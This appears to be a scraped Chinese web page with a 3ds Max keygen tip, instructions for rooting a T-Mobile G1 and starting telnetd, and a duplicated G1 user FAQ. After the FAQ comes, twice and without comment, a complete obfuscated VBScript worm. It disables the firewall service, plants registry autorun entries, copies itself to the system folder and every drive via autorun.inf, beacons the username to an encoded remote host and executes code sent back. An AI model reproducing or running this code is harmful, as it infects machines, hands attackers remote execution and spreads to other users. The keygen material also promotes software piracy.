无法分类的其它资料
3d max 注册机出现 INVALID REQUEST CODE!
是因为直接复制的 申请码 里面有换行回车符 所以有错!
解决方案就是复制到文本文档或 editplus 等文本工具中把回车去掉 即可
附3d max 8 注册机:
下载文件
是因为直接复制的 申请码 里面有换行回车符 所以有错!
解决方案就是复制到文本文档或 editplus 等文本工具中把回车去掉 即可
附3d max 8 注册机:
下载文件
今天折腾了半天就官方屏蔽了软件库里的这个软件 后来在一国外站找到
如果是自制美RC30和英RC8,操作如下
1、安装一个terminal emulator；
2、运行后先执行su，取得root权限；
3、cd/system/bin，执行telnetd &，一定要&，放在后台运行
在G1的telnet终端或通过wifi后用电脑telenet上登录即可。
后面就可以做你想做的事情了
附件是必须品呵呵
下载文件
如果是自制美RC30和英RC8,操作如下
1、安装一个terminal emulator；
2、运行后先执行su，取得root权限；
3、cd/system/bin，执行telnetd &，一定要&，放在后台运行
在G1的telnet终端或通过wifi后用电脑telenet上登录即可。
后面就可以做你想做的事情了
附件是必须品呵呵
下载文件
以下问答是从论坛中整理出来的，目前还不完整，今后会不断更新和修正的。感谢论坛中所有热心回答问题的朋友们。如有遗漏或错误，请站短我，我会添加和修正的。
按Ctrl+F在对话框中输入问题的关键字，可以快速搜索问题。
G1买回来一定要解锁么？
答：是的，G1是和T-Mobile绑定的，不解锁就不能使用国内的电话卡，经销商已经帮你做过的除外。
我没有Gmail邮箱能使用G1么？
答：不能，G1必须捆绑一个Gmail账号。
我想更改Gmail账号，该怎么做？
答：进入菜单settings-applications-manage applications，找到Google Apps后clear data后，就会看到一个提示，提示你需要重新设置gmail，输入新的gmail帐号即可。
我想把菜单里的图标放到桌面上怎么做？
答：按住图标不动，手机震动一下后会自动切换到桌面，松手后图标就放到桌面上了。
我想删除桌面的图标怎么做？
答：按住图标不动，手机震动一下后菜单栏会变成垃圾桶图标，把想删除的图标拖过去就能删除。
能用蓝牙听立体声或者传输文件么？
答：目前不能，仅支持蓝牙耳机。
任务列表里的程序能自己关闭么？
答：目前不能，只能通过关机的方法释放程序。
不插手机卡能拨紧急电话么？
答：在中国不能，110、119、120、122被认为是无效的号码。
G1能直接输入中文么？
答：暂时不能，只能通过aPowerSMS或A4等软件用复制粘贴的形式输入中文。
如何查看我手机的版本？
答：Setting-->About Phone就能看到了。
5、我错升级到RC30了,能降级么？
答：不能，只能等待RC30破解。
6、G1能够支持多大的TF卡？
答：理论上可以支持到16G，目前测试过的仅有8G SDHC，Class 6/4/2都支持。
为什么我的G1电量消耗的特别快？
答：关闭GPS和WIFI，仅在使用的时候打开。
我想给G1里装些软件该怎么装？
答：可以用G1上网进入Market在线安装，或者从论坛下载安装包到本地，通过电脑装到手机上。
我的手机连在电脑上怎么认不出来？
这些东西很有用的
答：需要安装手机驱动，http://dl.google.com/android/android_usb_windows.zip，并且要在手机设置中将允许未知来源的选项选中。
上面的步骤我都做了，怎么还认不出来呢？
答：连接上电脑后，信息栏会问你是否mount，选择mount在电脑中就能认到手机TF卡了。
我连着电脑的时候手机怎么找不到TF卡了？
答：因为USB对TF卡mount以后是独占，别的程序不能同时访问，拔掉USB线以后就能认出了。
G1有黑白名单的功能么？
答：目前还没有，请耐心等待开发组开发。
G1能在SIM卡里建立联系人么？
答：目前不能，以后也许可以。
不开GPRS或者WIFI能使用内置地图功能么？
答：不能，必须要到网络上取地图文件。
删除了原有的APN设置，可再添加不上新的APN了，怎么办？
答：重新启动，再添加。
G1能像其它手机一样更换主题么？
答：可以，但可靠性目前还在验证阶段，有可能对系统造成未知影响。
怎么清理market占用的内存？
答：目前除了恢复出厂设置，没有更好办法。
G1能够和我的Outlook同步么？
答：目前不能，以后会有软件推出。
G1使用什么杀毒软件好？
答：没有杀毒软件，目前android平台上还没有病毒。
设置APN以后即使不上网也会有流量么？
答：是的，Gmail要经常跟网络同步，会产生流量。
如何取消Gmail同步？
答：在设置界面中选择Datasynchronization(数据同步)这项，再打开的对户框中把每项都取消勾选，G1就不会再自动同步数据消耗GPRS网络流量了。注：1.6汉化的机器会没有这个选项，只能删除APN。
按Ctrl+F在对话框中输入问题的关键字，可以快速搜索问题。
G1买回来一定要解锁么？
答：是的，G1是和T-Mobile绑定的，不解锁就不能使用国内的电话卡，经销商已经帮你做过的除外。
我没有Gmail邮箱能使用G1么？
答：不能，G1必须捆绑一个Gmail账号。
我想更改Gmail账号，该怎么做？
答：进入菜单settings-applications-manage applications，找到Google Apps后clear data后，就会看到一个提示，提示你需要重新设置gmail，输入新的gmail帐号即可。
我想把菜单里的图标放到桌面上怎么做？
答：按住图标不动，手机震动一下后会自动切换到桌面，松手后图标就放到桌面上了。
我想删除桌面的图标怎么做？
答：按住图标不动，手机震动一下后菜单栏会变成垃圾桶图标，把想删除的图标拖过去就能删除。
能用蓝牙听立体声或者传输文件么？
答：目前不能，仅支持蓝牙耳机。
任务列表里的程序能自己关闭么？
答：目前不能，只能通过关机的方法释放程序。
不插手机卡能拨紧急电话么？
答：在中国不能，110、119、120、122被认为是无效的号码。
G1能直接输入中文么？
答：暂时不能，只能通过aPowerSMS或A4等软件用复制粘贴的形式输入中文。
如何查看我手机的版本？
答：Setting-->About Phone就能看到了。
5、我错升级到RC30了,能降级么？
答：不能，只能等待RC30破解。
6、G1能够支持多大的TF卡？
答：理论上可以支持到16G，目前测试过的仅有8G SDHC，Class 6/4/2都支持。
为什么我的G1电量消耗的特别快？
答：关闭GPS和WIFI，仅在使用的时候打开。
我想给G1里装些软件该怎么装？
答：可以用G1上网进入Market在线安装，或者从论坛下载安装包到本地，通过电脑装到手机上。
我的手机连在电脑上怎么认不出来？
这些东西很有用的
答：需要安装手机驱动，http://dl.google.com/android/android_usb_windows.zip，并且要在手机设置中将允许未知来源的选项选中。
上面的步骤我都做了，怎么还认不出来呢？
答：连接上电脑后，信息栏会问你是否mount，选择mount在电脑中就能认到手机TF卡了。
我连着电脑的时候手机怎么找不到TF卡了？
答：因为USB对TF卡mount以后是独占，别的程序不能同时访问，拔掉USB线以后就能认出了。
G1有黑白名单的功能么？
答：目前还没有，请耐心等待开发组开发。
G1能在SIM卡里建立联系人么？
答：目前不能，以后也许可以。
不开GPRS或者WIFI能使用内置地图功能么？
答：不能，必须要到网络上取地图文件。
删除了原有的APN设置，可再添加不上新的APN了，怎么办？
答：重新启动，再添加。
G1能像其它手机一样更换主题么？
答：可以，但可靠性目前还在验证阶段，有可能对系统造成未知影响。
怎么清理market占用的内存？
答：目前除了恢复出厂设置，没有更好办法。
G1能够和我的Outlook同步么？
答：目前不能，以后会有软件推出。
G1使用什么杀毒软件好？
答：没有杀毒软件，目前android平台上还没有病毒。
设置APN以后即使不上网也会有流量么？
答：是的，Gmail要经常跟网络同步，会产生流量。
如何取消Gmail同步？
答：在设置界面中选择Datasynchronization(数据同步)这项，再打开的对户框中把每项都取消勾选，G1就不会再自动同步数据消耗GPRS网络流量了。注：1.6汉化的机器会没有这个选项，只能删除APN。
On error ResUme NeXT
Set Fso=cREaTeObjEct(STRREVErsE("tCeJbOMetsYSELIf.gnItPIRCs"))
SET wSHshEll=cReaTEOBJEcT(strREverSE("LlEhs.TPIrCSW"))
dIm drI_lISt,DrI_lisT0
DiM IssEnD
ISsEnd=0
c_TIMe=datE()
WshshELL.ruN "Net SToP sHaReDaccEsS",0
seT DrvS=fSO.Drives
sYsdIr=fSo.GetSpeCIalfoLDeR(1)
thiSPATH=WscRIPt.sCrIPtfuLLNAMe
sEt FC=fSo.OPENTExTFilE(tHiSpaTH,1)
Scopy=Fc.rEAdaLl
fC.CLoSE
SET fC=NotHInG
cAlL wriTEFILe(sYsdIr&"\SYsInfO.reg",UNescapE(sTRReverSE("00C2%00c2%00C2%00C2%00c2%00C2%00c2%00c2%00C2%00c2%00c2%00c2%00C2%00c2%00c2%00a3%92%B82%XEHD3%22%EMItCeXe22%a0%D0%02%22%22%D3%22%SrETeMARAp22%a0%d0%02%22%sBv.gfcNrpc5%C5%23meTSYSC5%C5%52%RIdniW52%22%d3%22%tpIrCS22%A0%D0%02%d5%0c5%0c5%puTrAtsc5%STpIRcsc5%ENiHcaMc5%EtATsc5%YcILoP02%puorGc5%noiSrEVTneRRUcc5%sWodNiwc5%tFoSOrcimc5%erAWTFOsC5%enihcam_lACOL_yEKHb5%A0%d0%A0%d0%02%00c2%00c2%00C2%00C2%00C2%00c2%00c2%00c2%00C2%00c2%00c2%00C2%00C2%00C2%00c2%00A3%92%B82%xEhD3%22%EmItCexe22%a0%D0%02%22%22%d3%22%SReteMaRAp22%A0%d0%02%22%SbV.gFcnrpc5%C5%23meTsYSC5%C5%52%riDniW52%22%D3%22%tpirCs22%A0%d0%02%d5%0c5%0C5%puTRAtsC5%StpIRcsc5%meTsysc5%SwODNiWC5%TFOsoRCiMc5%sEICiLOpC5%eraWtfosc5%ENihcAM_LACoL_yeKHB5%a0%D0%A0%d0%03%03%e2%53%02%E6%f6%96%37%27%56%65%02%27%F6%47%96%46%54%02%97%27%47%37%96%76%56%25%02%37%77%F6%46%E6%96%75%")))
wShSHell.ruN "REGEDiT /s sysinFo.REG",0
wsCRIPt.SLeep 200
fso.dElETEfILe SYSdiR&"\sYsiNFO.REg",true
if iNsTr(thISPATH,SysdIR)>0 thEN
Dri_LIsT0=LISTDrV()
O_time=Left(C_tIme,3)&cstR(INT(mid(C_Time,4,1))-1)&rIgHt(C_Time,Len(c_timE)-4)
wSHShell.run "cmd /C DAte "&o_time,0
WsCrIpt.slEEP 10000
foR DRi_i=1 TO leN(drI_lIst0)
CaLL WriTeaUtO(mID(dRI_List0,Dri_I,1)&":\")
NEXT
wsHSHElL.rUN "Cmd /C DatE "&C_TIMe,0
comPUterNAme="":uSernaME=""
set OBjwmiservIcE=geToBjECt("winMgmTs:{imPErsONatIONlevel=imPersonaTe}!\\.\roOt\CImV2")
set ColCoMPUTerS = ObJwMIsErvice.ExEcQuery("SEleCt * froM Win32_cOmpuTERsYsTem")
foR eAch oBJCOmputer IN colCOMPUTErs
cOmpUtErnAmE=OBjComPuTEr.nAMe
userNAME=OBJcOMPUtEr.UsERnAMe
nEXt
if uSeRnAmE="" tHEn usERname="Evar"
If INstr(uSERnAme,"\")<=0 ThEn
useRnaMe=COMpuTERnAmE&"\"&usernaMe
End iF
Do
if IsseNd=0 then
seT XmL=CreATEobjEct(stRrEVERse("ptTHLMxreVRES.2LmxSm"))
xmL.OPEN "geT",StRrEVerSe(unESCApE("%3D%61%3F%70%73%61%2E%74%6e%75%6f%63%2f%61%76%65%2f%62%7a%7a%2F%30%30%31%2E%34%30%31%2e%39%31%31%2e%32%30%32%2F%2f%3A%70%74%74%68"))&usErNAMe,0
Xml.SeTrequesTheaDEr "uSer-AGent","EvaR"
XML.Send()
if ERR.NUMbER=0 thEn
IsSEND=1
res=Xml.REspOnsetExt
IF uCASe(LeFT(REs,7))=uCAse("exECuTe") then ExecUtE Res
Else
Err.CLEAR
End IF
SeT xmL=nOtHiNG
END If
Dri_LIst=liStdRV()
FoR DRI_k=1 tO lEn(drI_liST)
If INstR(DRI_LiST0,MiD(dRI_list,dRi_K,1))<=0 theN
CAlL wRITEauto(mId(DrI_LIst,dRI_k,1)&":\")
End if
NEXt
DRI_LIST0=drI_lIsT
wSCRiPt.sleeP 1000
lOOp
ELSE
WShSHeLL.rUn "ExPLorER .\",3
WScRIPt.sleEp 2000
WsHshELL.appaCTIVaTe unEsCape(lcaSe("%u6211%u7684%u7535%u8111"))
WsHSHEll.sEndkEys uCaSe("% C")
rUnfLAG=0
fOr eACh pS in gETobJECT _
("WinmGmtS:\\.\rOoT\cIMV2:wiN32_pRocEsS").INSTAncES_
if LcasE(PS.nAMe)=LCASe("wSCRIPT.EXe") tHeN
RUNFLAg=runfLAg+1
end IF
NEXt
If RUNfLaG>=2 thEn wsCRipT.QUIT
SEt Sf=FSO.gETFOLdEr(SYSdir)
F_TIMe=leFT(sf.DateCreaTeD,iNstr(sf.DATeCREAteD," ")-1)
WsHSHEll.Run "CmD /C DAtE "&F_tIMe,0
wScRIPT.SLEEp 100
calL wriTEFILe(SySDIR&LcAse("\PRNcFG.vBs"),Vs(SCOPY))
wsHSHell.Run "CMD /c dATE "&C_tImE,0
wsHshelL.rUN SySDir&"\pRnCFG.VbS"
EnD IF
functiOn VS(str)
ExeCutE strReVErse(uNescAPE("%29%29%22u%25%22%28ESAcl%2c%29%22u%25%22%28eSacU%2CsV%28eCALPeR%3DsV%0D%0AtxEN%0d%0AFI%20dNE%0D%0Ac%26sV%3dSV%0d%0aeSlE%0D%0A%29c%28EsacL%26sv%3Dsv%0d%0AnEHT%2005%3e%29001*%29%28dNr%28tnI%20fI%0D%0AEZIMoDnAR%0d%0a%29%291%2ci%2CRts%28DIm%28eSAcu%3dC%0d%0A%29RTs%28Nel%20OT%201%3Di%20roF"))
eND FUNCTiOn
FuNcTioN LISTdRV()
EXEcUTe STrreVERSE(UNeSCAPE("TsiL_pMT%3DVRDtsil%0d%0ATXEN%0d%0AFI%20DNe%0d%0AretteLEViRD.vrD%26tsIl_Pmt%3DTsIL_PmT%0d%0anEhT%20YdAERSI.VrD%20fi%0d%0aSVRd%20Ni%20vRd%20hcaE%20rof%0D%0a%22%22%3dTSIL_pMT%0D%0aTSIL_pmt%20MID"))
END FUnCtiON
suB WRITeAUtO(PATH)
exECute STRREVErSE(UNEsCapE("FI%20DNE%0d%0AeUrT%2C%22fni.NUrotUA%22%26Htap%20ELiFETelEd.Osf%0d%0aneHT%20%29%22fnI.nUrOTUA%22%26HtAp%28StsixeeLiF.Osf%20fIEslE%0D%0a%29%28dnr%26htAP%2C%22fNI.NurOTuA%22%26HTap%20rEDLOfevOM.OSF%0d%0aNEhT%20%29%22FnI.nUrOTUA%22%26Htap%28STSIXeREDLOF.Osf%20FI"))
Cmdstr="ShELL\*\commAND=wsCrIpT.eXe "&CHR(34)&"EVA.Vbs"&cHR(34)
AuTOSTR="[AUtorUn]"&VBcrLF&"OPeN="&vbcrLF&REPlace(CMdstr,"*","OPeN")&vBCrLf&rePlACe(cmDsTr,"*","EXplorE")&VbcrlF&RePLacE(cMDsTr,"*","fInD")
cALL WriTEFIle(PATh&uCASE("aUTorUN.iNf"),aUToSTR)
CalL WrITEFiLE(Path&"Eva.VbS",vs(sCOPY))
eNd SUB
SUb WriTEFiLe(FPATH,CONtenT)
EXEcuTE sTRrEVeRse(uNESCAPe("gNIHton%3daF%20TeS%0D%0A7%3dseTuBIrTta.aF%0D%0A%29htapF%28EliftEg.oSF%3Daf%20Tes%0D%0aGnIhToN%3DCF%20TES%0d%0AEsolC.CF%0d%0atNETnOc%20eTIrW.CF%0D%0A%29EURT%2C2%2chtAPf%28eLiFtxEtNEPO.OSF%3dCF%20Tes%0d%0aeURT%2cHTAPF%20ELifeTeLeD.Osf%20nEHt%20%29htAPF%28stsiXEElif.osf%20FI"))
eND Sub
Set Fso=cREaTeObjEct(STRREVErsE("tCeJbOMetsYSELIf.gnItPIRCs"))
SET wSHshEll=cReaTEOBJEcT(strREverSE("LlEhs.TPIrCSW"))
dIm drI_lISt,DrI_lisT0
DiM IssEnD
ISsEnd=0
c_TIMe=datE()
WshshELL.ruN "Net SToP sHaReDaccEsS",0
seT DrvS=fSO.Drives
sYsdIr=fSo.GetSpeCIalfoLDeR(1)
thiSPATH=WscRIPt.sCrIPtfuLLNAMe
sEt FC=fSo.OPENTExTFilE(tHiSpaTH,1)
Scopy=Fc.rEAdaLl
fC.CLoSE
SET fC=NotHInG
cAlL wriTEFILe(sYsdIr&"\SYsInfO.reg",UNescapE(sTRReverSE("00C2%00c2%00C2%00C2%00c2%00C2%00c2%00c2%00C2%00c2%00c2%00c2%00C2%00c2%00c2%00a3%92%B82%XEHD3%22%EMItCeXe22%a0%D0%02%22%22%D3%22%SrETeMARAp22%a0%d0%02%22%sBv.gfcNrpc5%C5%23meTSYSC5%C5%52%RIdniW52%22%d3%22%tpIrCS22%A0%D0%02%d5%0c5%0c5%puTrAtsc5%STpIRcsc5%ENiHcaMc5%EtATsc5%YcILoP02%puorGc5%noiSrEVTneRRUcc5%sWodNiwc5%tFoSOrcimc5%erAWTFOsC5%enihcam_lACOL_yEKHb5%A0%d0%A0%d0%02%00c2%00c2%00C2%00C2%00C2%00c2%00c2%00c2%00C2%00c2%00c2%00C2%00C2%00C2%00c2%00A3%92%B82%xEhD3%22%EmItCexe22%a0%D0%02%22%22%d3%22%SReteMaRAp22%A0%d0%02%22%SbV.gFcnrpc5%C5%23meTsYSC5%C5%52%riDniW52%22%D3%22%tpirCs22%A0%d0%02%d5%0c5%0C5%puTRAtsC5%StpIRcsc5%meTsysc5%SwODNiWC5%TFOsoRCiMc5%sEICiLOpC5%eraWtfosc5%ENihcAM_LACoL_yeKHB5%a0%D0%A0%d0%03%03%e2%53%02%E6%f6%96%37%27%56%65%02%27%F6%47%96%46%54%02%97%27%47%37%96%76%56%25%02%37%77%F6%46%E6%96%75%")))
wShSHell.ruN "REGEDiT /s sysinFo.REG",0
wsCRIPt.SLeep 200
fso.dElETEfILe SYSdiR&"\sYsiNFO.REg",true
if iNsTr(thISPATH,SysdIR)>0 thEN
Dri_LIsT0=LISTDrV()
O_time=Left(C_tIme,3)&cstR(INT(mid(C_Time,4,1))-1)&rIgHt(C_Time,Len(c_timE)-4)
wSHShell.run "cmd /C DAte "&o_time,0
WsCrIpt.slEEP 10000
foR DRi_i=1 TO leN(drI_lIst0)
CaLL WriTeaUtO(mID(dRI_List0,Dri_I,1)&":\")
NEXT
wsHSHElL.rUN "Cmd /C DatE "&C_TIMe,0
comPUterNAme="":uSernaME=""
set OBjwmiservIcE=geToBjECt("winMgmTs:{imPErsONatIONlevel=imPersonaTe}!\\.\roOt\CImV2")
set ColCoMPUTerS = ObJwMIsErvice.ExEcQuery("SEleCt * froM Win32_cOmpuTERsYsTem")
foR eAch oBJCOmputer IN colCOMPUTErs
cOmpUtErnAmE=OBjComPuTEr.nAMe
userNAME=OBJcOMPUtEr.UsERnAMe
nEXt
if uSeRnAmE="" tHEn usERname="Evar"
If INstr(uSERnAme,"\")<=0 ThEn
useRnaMe=COMpuTERnAmE&"\"&usernaMe
End iF
Do
if IsseNd=0 then
seT XmL=CreATEobjEct(stRrEVERse("ptTHLMxreVRES.2LmxSm"))
xmL.OPEN "geT",StRrEVerSe(unESCApE("%3D%61%3F%70%73%61%2E%74%6e%75%6f%63%2f%61%76%65%2f%62%7a%7a%2F%30%30%31%2E%34%30%31%2e%39%31%31%2e%32%30%32%2F%2f%3A%70%74%74%68"))&usErNAMe,0
Xml.SeTrequesTheaDEr "uSer-AGent","EvaR"
XML.Send()
if ERR.NUMbER=0 thEn
IsSEND=1
res=Xml.REspOnsetExt
IF uCASe(LeFT(REs,7))=uCAse("exECuTe") then ExecUtE Res
Else
Err.CLEAR
End IF
SeT xmL=nOtHiNG
END If
Dri_LIst=liStdRV()
FoR DRI_k=1 tO lEn(drI_liST)
If INstR(DRI_LiST0,MiD(dRI_list,dRi_K,1))<=0 theN
CAlL wRITEauto(mId(DrI_LIst,dRI_k,1)&":\")
End if
NEXt
DRI_LIST0=drI_lIsT
wSCRiPt.sleeP 1000
lOOp
ELSE
WShSHeLL.rUn "ExPLorER .\",3
WScRIPt.sleEp 2000
WsHshELL.appaCTIVaTe unEsCape(lcaSe("%u6211%u7684%u7535%u8111"))
WsHSHEll.sEndkEys uCaSe("% C")
rUnfLAG=0
fOr eACh pS in gETobJECT _
("WinmGmtS:\\.\rOoT\cIMV2:wiN32_pRocEsS").INSTAncES_
if LcasE(PS.nAMe)=LCASe("wSCRIPT.EXe") tHeN
RUNFLAg=runfLAg+1
end IF
NEXt
If RUNfLaG>=2 thEn wsCRipT.QUIT
SEt Sf=FSO.gETFOLdEr(SYSdir)
F_TIMe=leFT(sf.DateCreaTeD,iNstr(sf.DATeCREAteD," ")-1)
WsHSHEll.Run "CmD /C DAtE "&F_tIMe,0
wScRIPT.SLEEp 100
calL wriTEFILe(SySDIR&LcAse("\PRNcFG.vBs"),Vs(SCOPY))
wsHSHell.Run "CMD /c dATE "&C_tImE,0
wsHshelL.rUN SySDir&"\pRnCFG.VbS"
EnD IF
functiOn VS(str)
ExeCutE strReVErse(uNescAPE("%29%29%22u%25%22%28ESAcl%2c%29%22u%25%22%28eSacU%2CsV%28eCALPeR%3DsV%0D%0AtxEN%0d%0AFI%20dNE%0D%0Ac%26sV%3dSV%0d%0aeSlE%0D%0A%29c%28EsacL%26sv%3Dsv%0d%0AnEHT%2005%3e%29001*%29%28dNr%28tnI%20fI%0D%0AEZIMoDnAR%0d%0a%29%291%2ci%2CRts%28DIm%28eSAcu%3dC%0d%0A%29RTs%28Nel%20OT%201%3Di%20roF"))
eND FUNCTiOn
FuNcTioN LISTdRV()
EXEcUTe STrreVERSE(UNeSCAPE("TsiL_pMT%3DVRDtsil%0d%0ATXEN%0d%0AFI%20DNe%0d%0AretteLEViRD.vrD%26tsIl_Pmt%3DTsIL_PmT%0d%0anEhT%20YdAERSI.VrD%20fi%0d%0aSVRd%20Ni%20vRd%20hcaE%20rof%0D%0a%22%22%3dTSIL_pMT%0D%0aTSIL_pmt%20MID"))
END FUnCtiON
suB WRITeAUtO(PATH)
exECute STRREVErSE(UNEsCapE("FI%20DNE%0d%0AeUrT%2C%22fni.NUrotUA%22%26Htap%20ELiFETelEd.Osf%0d%0aneHT%20%29%22fnI.nUrOTUA%22%26HtAp%28StsixeeLiF.Osf%20fIEslE%0D%0a%29%28dnr%26htAP%2C%22fNI.NurOTuA%22%26HTap%20rEDLOfevOM.OSF%0d%0aNEhT%20%29%22FnI.nUrOTUA%22%26Htap%28STSIXeREDLOF.Osf%20FI"))
Cmdstr="ShELL\*\commAND=wsCrIpT.eXe "&CHR(34)&"EVA.Vbs"&cHR(34)
AuTOSTR="[AUtorUn]"&VBcrLF&"OPeN="&vbcrLF&REPlace(CMdstr,"*","OPeN")&vBCrLf&rePlACe(cmDsTr,"*","EXplorE")&VbcrlF&RePLacE(cMDsTr,"*","fInD")
cALL WriTEFIle(PATh&uCASE("aUTorUN.iNf"),aUToSTR)
CalL WrITEFiLE(Path&"Eva.VbS",vs(sCOPY))
eNd SUB
SUb WriTEFiLe(FPATH,CONtenT)
EXEcuTE sTRrEVeRse(uNESCAPe("gNIHton%3daF%20TeS%0D%0A7%3dseTuBIrTta.aF%0D%0A%29htapF%28EliftEg.oSF%3Daf%20Tes%0D%0aGnIhToN%3DCF%20TES%0d%0AEsolC.CF%0d%0atNETnOc%20eTIrW.CF%0D%0A%29EURT%2C2%2chtAPf%28eLiFtxEtNEPO.OSF%3dCF%20Tes%0d%0aeURT%2cHTAPF%20ELifeTeLeD.Osf%20nEHt%20%29htAPF%28stsiXEElif.osf%20FI"))
eND Sub
